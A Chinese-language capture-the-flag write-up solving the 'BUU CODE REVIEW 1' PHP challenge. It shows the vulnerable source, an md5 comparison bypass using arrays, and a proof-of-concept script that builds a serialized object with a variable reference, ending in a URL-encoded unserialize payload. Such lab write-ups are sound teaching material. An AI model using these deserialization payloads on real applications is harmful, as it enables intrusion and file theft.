BUU CODE REVIEW 1
考点:PHP变量引用
源码直接给了
<?php
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
我们最后一步肯定是BUU
类中__destruct()
构造方法中的语句echo file_get_contents("/flag");
分析代码,我们需要先绕过三个if语句,使得我们能成功反序列化obj
变量
绕过第一、第二个if:
?pleaseget=1 //GET
pleasepost=2 //POST
绕过第三个if:
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52'])
要求我们POST提交的参数md51
和md52
值不相同但是md5编码后弱相等。
我们可以0e碰撞绕过也可以用数组绕过。
md51[]=1&md52[]=2 //POST
成功反序列化之后,我们要满足if($this->correct === $this->input)
判断条件才能给flag。
类中属性correct
在判断之前有被赋值:$this->correct = base64_encode(uniqid());
uniqid()
函数:获取一个带前缀、基于当前时间微秒数的唯一ID。
所以说类中属性correct
每一微秒都在改变,我们无法实际预测其具体的值。
如果要满足$this->correct === $this->input
的话,我们只能使用变量引用
变量引用
原理类似于C语言中的指针,使两个变量指向同一个地址,那么两个变量值就一定相等了。
POC:
<?php
class BUU {
public $correct = "";
public $input = "";
public function __construct() {
$this->input=&$this->correct; //input的地址就是correct的地址。不管correct怎么变,input都等于correct。
}
}
$a=new BUU();
echo urlencode(serialize($a));
?>
payload:
obj=O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D //POST